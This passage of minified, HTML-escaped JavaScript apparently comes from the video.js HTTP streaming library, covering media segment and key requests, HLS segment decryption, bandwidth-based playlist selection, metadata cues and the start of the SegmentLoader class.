decryptionWorker=_ref8.decryptionWorker,segment=_ref8.segment,trackInfoFn=_ref8.trackInfoFn,timingInfoFn=_ref8.timingInfoFn,videoSegmentTimingInfoFn=_ref8.videoSegmentTimingInfoFn,audioSegmentTimingInfoFn=_ref8.audioSegmentTimingInfoFn,id3Fn=_ref8.id3Fn,captionsFn=_ref8.captionsFn,isEndOfTimeline=_ref8.isEndOfTimeline,endedTimelineFn=_ref8.endedTimelineFn,dataFn=_ref8.dataFn,doneFn=_ref8.doneFn,onTransmuxerLog=_ref8.onTransmuxerLog;decrypt({id:segment.requestId,key:segment.key,encryptedBytes:segment.encryptedBytes,decryptionWorker:decryptionWorker},(function(decryptedBytes){segment.bytes=decryptedBytes,handleSegmentBytes({segment:segment,bytes:segment.bytes,trackInfoFn:trackInfoFn,timingInfoFn:timingInfoFn,videoSegmentTimingInfoFn:videoSegmentTimingInfoFn,audioSegmentTimingInfoFn:audioSegmentTimingInfoFn,id3Fn:id3Fn,captionsFn:captionsFn,isEndOfTimeline:isEndOfTimeline,endedTimelineFn:endedTimelineFn,dataFn:dataFn,doneFn:doneFn,onTransmuxerLog:onTransmuxerLog})}))}({decryptionWorker:decryptionWorker,segment:segment,trackInfoFn:trackInfoFn,timingInfoFn:timingInfoFn,videoSegmentTimingInfoFn:videoSegmentTimingInfoFn,audioSegmentTimingInfoFn:audioSegmentTimingInfoFn,id3Fn:id3Fn,captionsFn:captionsFn,isEndOfTimeline:isEndOfTimeline,endedTimelineFn:endedTimelineFn,dataFn:dataFn,doneFn:doneFn,onTransmuxerLog:onTransmuxerLog});handleSegmentBytes({segment:segment,bytes:segment.bytes,trackInfoFn:trackInfoFn,timingInfoFn:timingInfoFn,videoSegmentTimingInfoFn:videoSegmentTimingInfoFn,audioSegmentTimingInfoFn:audioSegmentTimingInfoFn,id3Fn:id3Fn,captionsFn:captionsFn,isEndOfTimeline:isEndOfTimeline,endedTimelineFn:endedTimelineFn,dataFn:dataFn,doneFn:doneFn,onTransmuxerLog:onTransmuxerLog})};if(segment.endOfAllRequests=Date.now(),segment.map&amp;&amp;segment.map.encryptedBytes&amp;&amp;!segment.map.bytes)return decrypt({decryptionWorker:decryptionWorker,id:segment.requestId+&quot;-init&quot;,encryptedBytes:segment.map.encryptedBytes,key:segment.map.key},(function(decryptedBytes){segment.map.bytes=decryptedBytes,parseInitSegment(segment,(function(parseError){if(parseError)return abortAll(activeXhrs),doneFn(parseError,segment);segmentFinish()}))}));segmentFinish()}}}},handleProgress=function(_ref11){var segment=_ref11.segment,progressFn=_ref11.progressFn;return _ref11.trackInfoFn,_ref11.timingInfoFn,_ref11.videoSegmentTimingInfoFn,_ref11.audioSegmentTimingInfoFn,_ref11.id3Fn,_ref11.captionsFn,_ref11.isEndOfTimeline,_ref11.endedTimelineFn,_ref11.dataFn,function(event){if(!event.target.aborted)return segment.stats=videojs.mergeOptions(segment.stats,function(progressEvent){var request=progressEvent.target,stats={bandwidth:1/0,bytesReceived:0,roundTripTime:Date.now()-request.requestTime||0};return stats.bytesReceived=progressEvent.loaded,stats.bandwidth=Math.floor(stats.bytesReceived/stats.roundTripTime*8*1e3),stats}(event)),!segment.stats.firstBytesReceivedAt&amp;&amp;segment.stats.bytesReceived&amp;&amp;(segment.stats.firstBytesReceivedAt=Date.now()),progressFn(event,segment)}},mediaSegmentRequest=function(_ref12){var xhr=_ref12.xhr,xhrOptions=_ref12.xhrOptions,decryptionWorker=_ref12.decryptionWorker,segment=_ref12.segment,abortFn=_ref12.abortFn,progressFn=_ref12.progressFn,trackInfoFn=_ref12.trackInfoFn,timingInfoFn=_ref12.timingInfoFn,videoSegmentTimingInfoFn=_ref12.videoSegmentTimingInfoFn,audioSegmentTimingInfoFn=_ref12.audioSegmentTimingInfoFn,id3Fn=_ref12.id3Fn,captionsFn=_ref12.captionsFn,isEndOfTimeline=_ref12.isEndOfTimeline,endedTimelineFn=_ref12.endedTimelineFn,dataFn=_ref12.dataFn,doneFn=_ref12.doneFn,onTransmuxerLog=_ref12.onTransmuxerLog,activeXhrs=[],finishProcessingFn=waitForCompletion({activeXhrs:activeXhrs,decryptionWorker:decryptionWorker,trackInfoFn:trackInfoFn,timingInfoFn:timingInfoFn,videoSegmentTimingInfoFn:videoSegmentTimingInfoFn,audioSegmentTimingInfoFn:audioSegmentTimingInfoFn,id3Fn:id3Fn,captionsFn:captionsFn,isEndOfTimeline:isEndOfTimeline,endedTimelineFn:endedTimelineFn,dataFn:dataFn,doneFn:doneFn,onTransmuxerLog:onTransmuxerLog});if(segment.key&amp;&amp;!segment.key.bytes){var objects=[segment.key];segment.map&amp;&amp;!segment.map.bytes&amp;&amp;segment.map.key&amp;&amp;segment.map.key.resolvedUri===segment.key.resolvedUri&amp;&amp;objects.push(segment.map.key);var keyXhr=xhr(videojs.mergeOptions(xhrOptions,{uri:segment.key.resolvedUri,responseType:&quot;arraybuffer&quot;}),handleKeyResponse(segment,objects,finishProcessingFn));activeXhrs.push(keyXhr)}if(segment.map&amp;&amp;!segment.map.bytes){if(segment.map.key&amp;&amp;(!segment.key||segment.key.resolvedUri!==segment.map.key.resolvedUri)){var mapKeyXhr=xhr(videojs.mergeOptions(xhrOptions,{uri:segment.map.key.resolvedUri,responseType:&quot;arraybuffer&quot;}),handleKeyResponse(segment,[segment.map.key],finishProcessingFn));activeXhrs.push(mapKeyXhr)}var initSegmentOptions=videojs.mergeOptions(xhrOptions,{uri:segment.map.resolvedUri,responseType:&quot;arraybuffer&quot;,headers:segmentXhrHeaders(segment.map)}),initSegmentRequestCallback=function(_ref2){var segment=_ref2.segment,finishProcessingFn=_ref2.finishProcessingFn;return function(error,request){var errorObj=handleErrors(error,request);if(errorObj)return finishProcessingFn(errorObj,segment);var bytes=new Uint8Array(request.response);if(segment.map.key)return segment.map.encryptedBytes=bytes,finishProcessingFn(null,segment);segment.map.bytes=bytes,parseInitSegment(segment,(function(parseError){if(parseError)return parseError.xhr=request,parseError.status=request.status,finishProcessingFn(parseError,segment);finishProcessingFn(null,segment)}))}}({segment:segment,finishProcessingFn:finishProcessingFn}),initSegmentXhr=xhr(initSegmentOptions,initSegmentRequestCallback);activeXhrs.push(initSegmentXhr)}var segmentRequestOptions=videojs.mergeOptions(xhrOptions,{uri:segment.part&amp;&amp;segment.part.resolvedUri||segment.resolvedUri,responseType:&quot;arraybuffer&quot;,headers:segmentXhrHeaders(segment)}),segmentXhr=xhr(segmentRequestOptions,handleSegmentResponse({segment:segment,finishProcessingFn:finishProcessingFn,responseType:segmentRequestOptions.responseType}));segmentXhr.addEventListener(&quot;progress&quot;,handleProgress({segment:segment,progressFn:progressFn,trackInfoFn:trackInfoFn,timingInfoFn:timingInfoFn,videoSegmentTimingInfoFn:videoSegmentTimingInfoFn,audioSegmentTimingInfoFn:audioSegmentTimingInfoFn,id3Fn:id3Fn,captionsFn:captionsFn,isEndOfTimeline:isEndOfTimeline,endedTimelineFn:endedTimelineFn,dataFn:dataFn})),activeXhrs.push(segmentXhr);var loadendState={};return activeXhrs.forEach((function(activeXhr){activeXhr.addEventListener(&quot;loadend&quot;,function(_ref10){var loadendState=_ref10.loadendState,abortFn=_ref10.abortFn;return function(event){event.target.aborted&amp;&amp;abortFn&amp;&amp;!loadendState.calledAbortFn&amp;&amp;(abortFn(),loadendState.calledAbortFn=!0)}}({loadendState:loadendState,abortFn:abortFn}))})),function(){return abortAll(activeXhrs)}},logFn$1=logger(&quot;CodecUtils&quot;),isMaat=function(master,media){var mediaAttributes=media.attributes||{};return master&amp;&amp;master.mediaGroups&amp;&amp;master.mediaGroups.AUDIO&amp;&amp;mediaAttributes.AUDIO&amp;&amp;master.mediaGroups.AUDIO[mediaAttributes.AUDIO]},unwrapCodecList=function(codecList){var codecs={};return codecList.forEach((function(_ref){var mediaType=_ref.mediaType,type=_ref.type,details=_ref.details;codecs[mediaType]=codecs[mediaType]||[],codecs[mediaType].push(translateLegacyCodec(&quot;&quot;+type+details))})),Object.keys(codecs).forEach((function(mediaType){if(codecs[mediaType].length&gt;1)return logFn$1(&quot;multiple &quot;+mediaType+&quot; codecs found as attributes: &quot;+codecs[mediaType].join(&quot;, &quot;)+&quot;. Setting playlist codecs to null so that we wait for mux.js to probe segments for real codecs.&quot;),void(codecs[mediaType]=null);codecs[mediaType]=codecs[mediaType][0]})),codecs},codecCount=function(codecObj){var count=0;return codecObj.audio&amp;&amp;count++,codecObj.video&amp;&amp;count++,count},codecsForPlaylist=function(master,media){var mediaAttributes=media.attributes||{},codecInfo=unwrapCodecList(function(media){var mediaAttributes=media.attributes||{};if(mediaAttributes.CODECS)return parseCodecs(mediaAttributes.CODECS)}(media)||[]);if(isMaat(master,media)&amp;&amp;!codecInfo.audio&amp;&amp;!function(master,media){if(!isMaat(master,media))return!0;var mediaAttributes=media.attributes||{},audioGroup=master.mediaGroups.AUDIO[mediaAttributes.AUDIO];for(var groupId in audioGroup)if(!audioGroup[groupId].uri&amp;&amp;!audioGroup[groupId].playlists)return!0;return!1}(master,media)){var defaultCodecs=unwrapCodecList(function(master,audioGroupId){if(!master.mediaGroups.AUDIO||!audioGroupId)return null;var audioGroup=master.mediaGroups.AUDIO[audioGroupId];if(!audioGroup)return null;for(var name in audioGroup){var audioType=audioGroup[name];if(audioType.default&amp;&amp;audioType.playlists)return parseCodecs(audioType.playlists[0].attributes.CODECS)}return null}(master,mediaAttributes.AUDIO)||[]);defaultCodecs.audio&amp;&amp;(codecInfo.audio=defaultCodecs.audio)}return codecInfo},logFn=logger(&quot;PlaylistSelector&quot;),representationToString=function(representation){if(representation&amp;&amp;representation.playlist){var playlist=representation.playlist;return JSON.stringify({id:playlist.id,bandwidth:representation.bandwidth,width:representation.width,height:representation.height,codecs:playlist.attributes&amp;&amp;playlist.attributes.CODECS||&quot;&quot;})}},safeGetComputedStyle=function(el,property){if(!el)return&quot;&quot;;var result=window.getComputedStyle(el);return result?result[property]:&quot;&quot;},stableSort=function(array,sortFn){var newArray=array.slice();array.sort((function(left,right){var cmp=sortFn(left,right);return 0===cmp?newArray.indexOf(left)-newArray.indexOf(right):cmp}))},comparePlaylistBandwidth=function(left,right){var leftBandwidth,rightBandwidth;return left.attributes.BANDWIDTH&amp;&amp;(leftBandwidth=left.attributes.BANDWIDTH),leftBandwidth=leftBandwidth||window.Number.MAX_VALUE,right.attributes.BANDWIDTH&amp;&amp;(rightBandwidth=right.attributes.BANDWIDTH),leftBandwidth-(rightBandwidth=rightBandwidth||window.Number.MAX_VALUE)},simpleSelector=function(master,playerBandwidth,playerWidth,playerHeight,limitRenditionByPlayerDimensions,masterPlaylistController){if(master){var options={bandwidth:playerBandwidth,width:playerWidth,height:playerHeight,limitRenditionByPlayerDimensions:limitRenditionByPlayerDimensions},playlists=master.playlists;Playlist.isAudioOnly(master)&amp;&amp;(playlists=masterPlaylistController.getAudioTrackPlaylists_(),options.audioOnly=!0);var sortedPlaylistReps=playlists.map((function(playlist){var width=playlist.attributes&amp;&amp;playlist.attributes.RESOLUTION&amp;&amp;playlist.attributes.RESOLUTION.width,height=playlist.attributes&amp;&amp;playlist.attributes.RESOLUTION&amp;&amp;playlist.attributes.RESOLUTION.height;return{bandwidth:playlist.attributes&amp;&amp;playlist.attributes.BANDWIDTH||window.Number.MAX_VALUE,width:width,height:height,playlist:playlist}}));stableSort(sortedPlaylistReps,(function(left,right){return left.bandwidth-right.bandwidth}));var enabledPlaylistReps=(sortedPlaylistReps=sortedPlaylistReps.filter((function(rep){return!Playlist.isIncompatible(rep.playlist)}))).filter((function(rep){return Playlist.isEnabled(rep.playlist)}));enabledPlaylistReps.length||(enabledPlaylistReps=sortedPlaylistReps.filter((function(rep){return!Playlist.isDisabled(rep.playlist)})));var bandwidthPlaylistReps=enabledPlaylistReps.filter((function(rep){return rep.bandwidth*Config.BANDWIDTH_VARIANCE&lt;playerBandwidth})),highestRemainingBandwidthRep=bandwidthPlaylistReps[bandwidthPlaylistReps.length-1],bandwidthBestRep=bandwidthPlaylistReps.filter((function(rep){return rep.bandwidth===highestRemainingBandwidthRep.bandwidth}))[0];if(!1===limitRenditionByPlayerDimensions){var _chosenRep=bandwidthBestRep||enabledPlaylistReps[0]||sortedPlaylistReps[0];if(_chosenRep&amp;&amp;_chosenRep.playlist){var type=&quot;sortedPlaylistReps&quot;;return bandwidthBestRep&amp;&amp;(type=&quot;bandwidthBestRep&quot;),enabledPlaylistReps[0]&amp;&amp;(type=&quot;enabledPlaylistReps&quot;),logFn(&quot;choosing &quot;+representationToString(_chosenRep)+&quot; using &quot;+type+&quot; with options&quot;,options),_chosenRep.playlist}return logFn(&quot;could not choose a playlist with options&quot;,options),null}var haveResolution=bandwidthPlaylistReps.filter((function(rep){return rep.width&amp;&amp;rep.height}));stableSort(haveResolution,(function(left,right){return left.width-right.width}));var resolutionBestRepList=haveResolution.filter((function(rep){return rep.width===playerWidth&amp;&amp;rep.height===playerHeight}));highestRemainingBandwidthRep=resolutionBestRepList[resolutionBestRepList.length-1];var resolutionPlusOneList,resolutionPlusOneSmallest,resolutionPlusOneRep,leastPixelDiffRep,resolutionBestRep=resolutionBestRepList.filter((function(rep){return rep.bandwidth===highestRemainingBandwidthRep.bandwidth}))[0];if(resolutionBestRep||(resolutionPlusOneSmallest=(resolutionPlusOneList=haveResolution.filter((function(rep){return rep.width&gt;playerWidth||rep.height&gt;playerHeight}))).filter((function(rep){return rep.width===resolutionPlusOneList[0].width&amp;&amp;rep.height===resolutionPlusOneList[0].height})),highestRemainingBandwidthRep=resolutionPlusOneSmallest[resolutionPlusOneSmallest.length-1],resolutionPlusOneRep=resolutionPlusOneSmallest.filter((function(rep){return rep.bandwidth===highestRemainingBandwidthRep.bandwidth}))[0]),masterPlaylistController.experimentalLeastPixelDiffSelector){var leastPixelDiffList=haveResolution.map((function(rep){return rep.pixelDiff=Math.abs(rep.width-playerWidth)+Math.abs(rep.height-playerHeight),rep}));stableSort(leastPixelDiffList,(function(left,right){return left.pixelDiff===right.pixelDiff?right.bandwidth-left.bandwidth:left.pixelDiff-right.pixelDiff})),leastPixelDiffRep=leastPixelDiffList[0]}var chosenRep=leastPixelDiffRep||resolutionPlusOneRep||resolutionBestRep||bandwidthBestRep||enabledPlaylistReps[0]||sortedPlaylistReps[0];if(chosenRep&amp;&amp;chosenRep.playlist){var _type=&quot;sortedPlaylistReps&quot;;return leastPixelDiffRep?_type=&quot;leastPixelDiffRep&quot;:resolutionPlusOneRep?_type=&quot;resolutionPlusOneRep&quot;:resolutionBestRep?_type=&quot;resolutionBestRep&quot;:bandwidthBestRep?_type=&quot;bandwidthBestRep&quot;:enabledPlaylistReps[0]&amp;&amp;(_type=&quot;enabledPlaylistReps&quot;),logFn(&quot;choosing &quot;+representationToString(chosenRep)+&quot; using &quot;+_type+&quot; with options&quot;,options),chosenRep.playlist}return logFn(&quot;could not choose a playlist with options&quot;,options),null}},lastBandwidthSelector=function(){var pixelRatio=this.useDevicePixelRatio&amp;&amp;window.devicePixelRatio||1;return simpleSelector(this.playlists.master,this.systemBandwidth,parseInt(safeGetComputedStyle(this.tech_.el(),&quot;width&quot;),10)*pixelRatio,parseInt(safeGetComputedStyle(this.tech_.el(),&quot;height&quot;),10)*pixelRatio,this.limitRenditionByPlayerDimensions,this.masterPlaylistController_)},addMetadata=function(_ref2){var inbandTextTracks=_ref2.inbandTextTracks,metadataArray=_ref2.metadataArray,timestampOffset=_ref2.timestampOffset,videoDuration=_ref2.videoDuration;if(metadataArray){var Cue=window.WebKitDataCue||window.VTTCue,metadataTrack=inbandTextTracks.metadataTrack_;if(metadataTrack&amp;&amp;(metadataArray.forEach((function(metadata){var time=metadata.cueTime+timestampOffset;!(&quot;number&quot;!=typeof time||window.isNaN(time)||time&lt;0)&amp;&amp;time&lt;1/0&amp;&amp;metadata.frames.forEach((function(frame){var cue=new Cue(time,time,frame.value||frame.url||frame.data||&quot;&quot;);cue.frame=frame,cue.value=frame,function(cue){Object.defineProperties(cue.frame,{id:{get:function(){return videojs.log.warn(&quot;cue.frame.id is deprecated. Use cue.value.key instead.&quot;),cue.value.key}},value:{get:function(){return videojs.log.warn(&quot;cue.frame.value is deprecated. Use cue.value.data instead.&quot;),cue.value.data}},privateData:{get:function(){return videojs.log.warn(&quot;cue.frame.privateData is deprecated. Use cue.value.data instead.&quot;),cue.value.data}}})}(cue),metadataTrack.addCue(cue)}))})),metadataTrack.cues&amp;&amp;metadataTrack.cues.length)){for(var cues=metadataTrack.cues,cuesArray=[],i=0;i&lt;cues.length;i++)cues[i]&amp;&amp;cuesArray.push(cues[i]);var cuesGroupedByStartTime=cuesArray.reduce((function(obj,cue){var timeSlot=obj[cue.startTime]||[];return timeSlot.push(cue),obj[cue.startTime]=timeSlot,obj}),{}),sortedStartTimes=Object.keys(cuesGroupedByStartTime).sort((function(a,b){return Number(a)-Number(b)}));sortedStartTimes.forEach((function(startTime,idx){var cueGroup=cuesGroupedByStartTime[startTime],nextTime=Number(sortedStartTimes[idx+1])||videoDuration;cueGroup.forEach((function(cue){cue.endTime=nextTime}))}))}}},removeCuesFromTrack=function(start,end,track){var i,cue;if(track&amp;&amp;track.cues)for(i=track.cues.length;i--;)(cue=track.cues[i]).startTime&gt;=start&amp;&amp;cue.endTime&lt;=end&amp;&amp;track.removeCue(cue)},finite=function(num){return&quot;number&quot;==typeof num&amp;&amp;isFinite(num)},segmentInfoString=function(segmentInfo){var startOfSegment=segmentInfo.startOfSegment,duration=segmentInfo.duration,segment=segmentInfo.segment,part=segmentInfo.part,_segmentInfo$playlist=segmentInfo.playlist,seq=_segmentInfo$playlist.mediaSequence,id=_segmentInfo$playlist.id,_segmentInfo$playlist2=_segmentInfo$playlist.segments,segments=void 0===_segmentInfo$playlist2?[]:_segmentInfo$playlist2,index=segmentInfo.mediaIndex,partIndex=segmentInfo.partIndex,timeline=segmentInfo.timeline,segmentLen=segments.length-1,selection=&quot;mediaIndex/partIndex increment&quot;;segmentInfo.getMediaInfoForTime?selection=&quot;getMediaInfoForTime (&quot;+segmentInfo.getMediaInfoForTime+&quot;)&quot;:segmentInfo.isSyncRequest&amp;&amp;(selection=&quot;getSyncSegmentCandidate (isSyncRequest)&quot;),segmentInfo.independent&amp;&amp;(selection+=&quot; with independent &quot;+segmentInfo.independent);var hasPartIndex=&quot;number&quot;==typeof partIndex,name=segmentInfo.segment.uri?&quot;segment&quot;:&quot;pre-segment&quot;,zeroBasedPartCount=hasPartIndex?getKnownPartCount({preloadSegment:segment})-1:0;return name+&quot; [&quot;+(seq+index)+&quot;/&quot;+(seq+segmentLen)+&quot;]&quot;+(hasPartIndex?&quot; part [&quot;+partIndex+&quot;/&quot;+zeroBasedPartCount+&quot;]&quot;:&quot;&quot;)+&quot; segment start/end [&quot;+segment.start+&quot; =&gt; &quot;+segment.end+&quot;]&quot;+(hasPartIndex?&quot; part start/end [&quot;+part.start+&quot; =&gt; &quot;+part.end+&quot;]&quot;:&quot;&quot;)+&quot; startOfSegment [&quot;+startOfSegment+&quot;] duration [&quot;+duration+&quot;] timeline [&quot;+timeline+&quot;] selected by [&quot;+selection+&quot;] playlist [&quot;+id+&quot;]&quot;},timingInfoPropertyForMedia=function(mediaType){return mediaType+&quot;TimingInfo&quot;},shouldWaitForTimelineChange=function(_ref2){var timelineChangeController=_ref2.timelineChangeController,currentTimeline=_ref2.currentTimeline,segmentTimeline=_ref2.segmentTimeline,loaderType=_ref2.loaderType,audioDisabled=_ref2.audioDisabled;if(currentTimeline===segmentTimeline)return!1;if(&quot;audio&quot;===loaderType){var lastMainTimelineChange=timelineChangeController.lastTimelineChange({type:&quot;main&quot;});return!lastMainTimelineChange||lastMainTimelineChange.to!==segmentTimeline}if(&quot;main&quot;===loaderType&amp;&amp;audioDisabled){var pendingAudioTimelineChange=timelineChangeController.pendingTimelineChange({type:&quot;audio&quot;});return!pendingAudioTimelineChange||pendingAudioTimelineChange.to!==segmentTimeline}return!1},segmentTooLong=function(_ref3){var segmentDuration=_ref3.segmentDuration,maxDuration=_ref3.maxDuration;return!!segmentDuration&amp;&amp;Math.round(segmentDuration)&gt;maxDuration+.03333333333333333},getTroublesomeSegmentDurationMessage=function(segmentInfo,sourceType){if(&quot;hls&quot;!==sourceType)return null;var audioTimingInfo,videoTimingInfo,audioDuration,videoDuration,segmentDuration=(audioTimingInfo=segmentInfo.audioTimingInfo,videoTimingInfo=segmentInfo.videoTimingInfo,audioDuration=audioTimingInfo&amp;&amp;&quot;number&quot;==typeof audioTimingInfo.start&amp;&amp;&quot;number&quot;==typeof audioTimingInfo.end?audioTimingInfo.end-audioTimingInfo.start:0,videoDuration=videoTimingInfo&amp;&amp;&quot;number&quot;==typeof videoTimingInfo.start&amp;&amp;&quot;number&quot;==typeof videoTimingInfo.end?videoTimingInfo.end-videoTimingInfo.start:0,Math.max(audioDuration,videoDuration));if(!segmentDuration)return null;var targetDuration=segmentInfo.playlist.targetDuration,isSegmentWayTooLong=segmentTooLong({segmentDuration:segmentDuration,maxDuration:2*targetDuration}),isSegmentSlightlyTooLong=segmentTooLong({segmentDuration:segmentDuration,maxDuration:targetDuration}),segmentTooLongMessage=&quot;Segment with index &quot;+segmentInfo.mediaIndex+&quot; from playlist &quot;+segmentInfo.playlist.id+&quot; has a duration of &quot;+segmentDuration+&quot; when the reported duration is &quot;+segmentInfo.duration+&quot; and the target duration is &quot;+targetDuration+&quot;. For HLS content, a duration in excess of the target duration may result in playback issues. See the HLS specification section on EXT-X-TARGETDURATION for more details: https://tools.ietf.org/html/draft-pantos-http-live-streaming-23#section-4.3.3.1&quot;;return isSegmentWayTooLong||isSegmentSlightlyTooLong?{severity:isSegmentWayTooLong?&quot;warn&quot;:&quot;info&quot;,message:segmentTooLongMessage}:null},SegmentLoader=function(_videojs$EventTarget){function SegmentLoader(settings,options){var _this;if(_this=_videojs$EventTarget.call(this)||this,!settings)throw new TypeError(&quot;Initialization settings are required&quot;);if(&quot;function&quot;!=typeof settings.currentTime)throw new TypeError(&quot;No currentTime getter specified&quot;);if(!settings.mediaSource)throw new TypeError(&quot;No MediaSource specified&quot;);return _this.bandwidth=settings.bandwidth,_this.throughput={rate:0,count:0},_this.roundTrip=NaN,_this.resetStats_(),_this.mediaIndex=null,_this.partIndex=null,_this.hasPlayed_=settings.hasPlayed,_this.currentTime_=settings.currentTime,_this.seekable_=settings.seekable,_this.seeking_=settings.seeking,_this.duration_=settings.duration,_this.mediaSource_=settings.mediaSource,_this.vhs_=settings.vhs,_this.loaderType_=settings.loaderType,_this.currentMediaInfo_=void 0,_this.startingMediaInfo_=void 0,_this.segmentMetadataTrack_=settings.segmentMetadataTrack,_this.goalBufferLength_=settings.goalBufferLength,_this.sourceType_=settings.sourceType,_this.sourceUpdater_=settings.sourceUpdater,_this.inbandTextTracks_=settings.inbandTextTracks,_this.state_=&quot;INIT&quot;,_this.timelineChangeController_=settings.timelineChangeController,_this.shouldSaveSegmentTimingInfo_=!0,_this.parse708captions_=settings.parse708captions,_this.captionServices_=settings.captionServices,_this.experimentalExactManifestTimings=settings.experimentalExactManifestTimings,_this.checkBufferTimeout_=null,_this.error_=void 0,_this.currentTimeline_=-1,_this.pendingSegment_=null,_this.xhrOptions_=null,_this.pendingSegments_=[],_this.audioDisabled_=!1,_this.isPendingTimestampOffset_=!1,_this.gopBuffer_=[],_this.timeMapping_=0,_this.safeAppend_=videojs.browser.IE_VERSION&gt;=11,_this.appendInitSegment_={audio:!0,video:!0},_this.playlistOfLastInitSegment_={audio:null,video:null},_this.callQueue_=[],_this.loadQueue_=[],_this.metadataQueue_={id3:[],caption:[]},_this.waitingOnRemove_=!1,_this.quotaExceededErrorRetryTimeout_=null,_this.activeInitSegmentId_=null,_this.initSegments_={},_this.cacheEncryptionKeys_=settings.cacheEncryptionKeys,_this.keyCache_={},_this.decrypter_=settings.decrypter,_this.syncController_=settings.syncController,_this.syncPoint_={segmentIndex:0,time:0},_this.transmuxer_=_this.createTransmuxer_(),_this.triggerSyncInfoUpdate_=function(){return _this.trigger(&quot;syncinfoupdate&quot;)},_this.syncController_.on(&quot;syncinfoupdate&quot;,_this.triggerSyncInfoUpdate_),_this.mediaSource_.addEventListener(&quot;sourceopen&quot;,(function(){_this.isEndOfStream_()||(_this.ended_=!1)})),_this.fetchAtBuffer_=!1,_this.logger_=logger(&quot;SegmentLoader[&quot;+_this.loaderType_+&quot;]&quot;),Object.defineProperty(assertThisInitialized(_this),&quot;state&quot;,{get:function(){return this.state_},set:function(newState){newState!==this.state_&amp;&amp;(this.logger_(this.state_+&quot; -&gt; &quot;+newState),this.state_=newState,this.trigger(&quot;statechange&quot;))}}),_this.sourceUpdater_.on(&quot;ready&quot;,(function(){_this.hasEnoughInfoToAppend_()&amp;&amp;_this.processCallQueue_()})),&quot;main&quot;===_this.loaderType_&amp;&amp;_this.timelineChangeController_.on(&quot;pendingtimelinechange&quot;,(function(){_this.hasEnoughInfoToAppend_()&amp;&amp;_this.processCallQueue_()})),&quot;audio&quot;===_this.loaderType_&amp;&amp;_this.timelineChangeController_.on(&quot;timelinechange&quot;,(function(){_this.hasEnoughInfoToLoad_()&amp;&amp;_this.processLoadQueue_(),_this.hasEnoughInfoToAppend_()&amp;&amp;_this.processCallQueue_()})),_this}inheritsLoose(SegmentLoader,_videojs$EventTarget);var _proto=SegmentLoader.prototype;return _proto.createTransmuxer_=function(){return segmentTransmuxer_createTransmuxer({remux:!1,alignGopsAtEnd:this.safeAppend_,keepOriginalTimestamps:!0,parse708captions:this.parse708captions_,captionServices:this.captionServices_})},_proto.resetStats_=function(){this.mediaBytesTransferred=0,this.mediaRequests=0,this.mediaRequestsAborted=0,this.mediaRequestsTimedout=0,this.mediaRequestsErrored=0,this.mediaTransferDuration=0,this.mediaSecondsLoaded=0,this.mediaAppends=0},_proto.dispose=function(){this.trigger(&quot;dispose&quot;),this.state=&quot;DISPOSED&quot;,this.pause(),this.abort_(),this.transmuxer_&amp;&amp;this.transmuxer_.terminate(),this.resetStats_(),this.checkBufferTimeout_&amp;&amp;window.clearTimeout(this.checkBufferTimeout_),this.syncController_&amp;&amp;this.triggerSyncInfoUpdate_&amp;&amp;this.syncController_.off(&quot;syncinfoupdate&quot;,this.triggerSyncInfoUpdate_),this.off()},_proto.setAudio=function(enable){this.audioDisabled_=!enable,enable?this.appendInitSegment_.audio=!0:this.sourceUpdater_.removeAudio(0,this.duration_())},_proto.abort=function(){&quot;WAITING&quot;===this.state?(this.abort_(),this.state=&quot;READY&quot;,this.paused()||this.monitorBuffer_()):this.pendingSegment_&amp;&amp;(this.pendingSegment_=null)},_proto.abort_=function(){this.pendingSegment_&amp;&amp;this.pendingSegment_.abortRequests&amp;&amp;this.pendingSegment_.abortRequests(),this.pendingSegment_=null,this.callQueue_=[],this.loadQueue_=[],this.metadataQueue_.id3=[],this.metadataQueue_.caption=[],this.timelineChangeController_.clearPendingTimelineChange(this.loaderType_),this.waitingOnRemove_=!1,window.clearTimeout(this.quotaExceededErrorRetryTimeout_),this.quotaExceededErrorRetryTimeout_=null},_proto.checkForAbort_=function(requestId){return&quot;APPENDING&quot;!==this.state||this.pendingSegment_?!this.pendingSegment_||this.pendingSegment_.requestId!==requestId:(this.state=&quot;READY&quot;,!0)},_proto.error=function(_error){return void 0!==_error&amp;&amp;(this.logger_(&quot;error occurred:&quot;,_error),this.error_=_error),this.pendingSegment_=null,this.error_},_proto.endOfStream=function(){this.ended_=!0,this.transmuxer_&amp;&amp;segmentTransmuxer_reset(this.transmuxer_),this.gopBuffer_.length=0,this.pause(),this.trigger(&quot;ended&quot;)},_proto.buffered_=function(){var trackInfo=this.getMediaInfo_();if(!this.sourceUpdater_||!trackInfo)return videojs.createTimeRanges();if(&quot;main&quot;===this.loaderType_){var hasAudio=trackInfo.hasAudio,hasVideo=trackInfo.hasVideo,isMuxed=trackInfo.isMuxed;if(hasVideo&amp;&amp;hasAudio&amp;&amp;!this.audioDisabled_&amp;&amp;!isMuxed)return this.sourceUpdater_.buffered();if(hasVideo)return this.sourceUpdater_.videoBuffered()}return this.sourceUpdater_.audioBuffered()},_proto.initSegmentForMap=function(map,set){if(void 0===set&amp;&amp;(set=!1),!map)return null;var id=initSegmentId(map),storedMap=this.initSegments_[id];return set&amp;&amp;!storedMap&amp;&amp;map.bytes&amp;&amp;(this.initSegments_[id]=storedMap={resolvedUri:map.resolvedUri,byterange:map.byterange,bytes:map.bytes,tracks:map.tracks,timescales:map.timescales}),storedMap||map},_proto.segmentKey=function(key,set){if(void 0===set&amp;&amp;(set=!1),!key)return null;var id=segmentKeyId(key),storedKey=this.keyCache_[id];this.cacheEncryptionKeys_&amp;&amp;set&amp;&amp;!storedKey&amp;&amp;key.bytes&amp;&amp;(this.keyCache_[id]=storedKey={resolvedUri:key.resolvedUri,bytes:key.bytes});var result={resolvedUri:(storedKey||key).resolvedUri};return storedKey&amp;&amp;(result.bytes=storedKey.bytes),result},_proto.couldBeginLoading_=function(){return this.playlist_&amp;&amp;!this.paused()},_proto.load=function(){if(this.monitorBuffer_(),this.playlist_)return&quot;INIT&quot;===this.state&amp;&amp;this.couldBeginLoading_()?this.init_():void(!this.couldBeginLoading_()||&quot;READY&quot;!==this.state&amp;&amp;&quot;INIT&quot;!==this.state||(this.state=&quot;READY&quot;))},_proto.init_=function(){return this.state=&quot;READY&quot;,this.resetEverything(),this.monitorBuffer_()},_proto.playlist=function(newPlaylist,options){if(void 0===options&amp;&amp;(options={}),newPlaylist){var 